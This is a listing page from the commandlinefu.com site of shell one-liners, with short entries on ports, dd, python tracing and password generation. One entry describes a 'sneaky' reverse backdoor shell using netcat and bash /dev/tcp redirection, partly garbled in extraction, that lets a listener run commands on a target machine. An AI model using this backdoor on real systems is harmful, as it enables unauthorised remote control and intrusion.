All commands (14,187)

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Create a file of repeated, non-zero
dd can be used with /dev/zero to easily create a file of all zero-bytes. Pipe that through tr and use octal conversions to change the byte values from zero to 0xff (octal 0377). You can replace 0377 with the byte of your choice. You can also use \\0 and \\377 instead of the quoted version.

List mp3 files with less than 320 kbps bitrate.

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

send a .loc file to a garmin gps over usb
gps data from geocaching.com is provided for free in .loc format.

Lines per second in a log file

Advanced python tracing
Trace python statement execution and syscalls invoked during that simultaneously

recursive remove all htm files

Generate a random password 30 characters long
This command is similar to the alternate, except with head(1), you can pick as many passwords as you wish to generate by changing the number of lines you wish to preview.


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: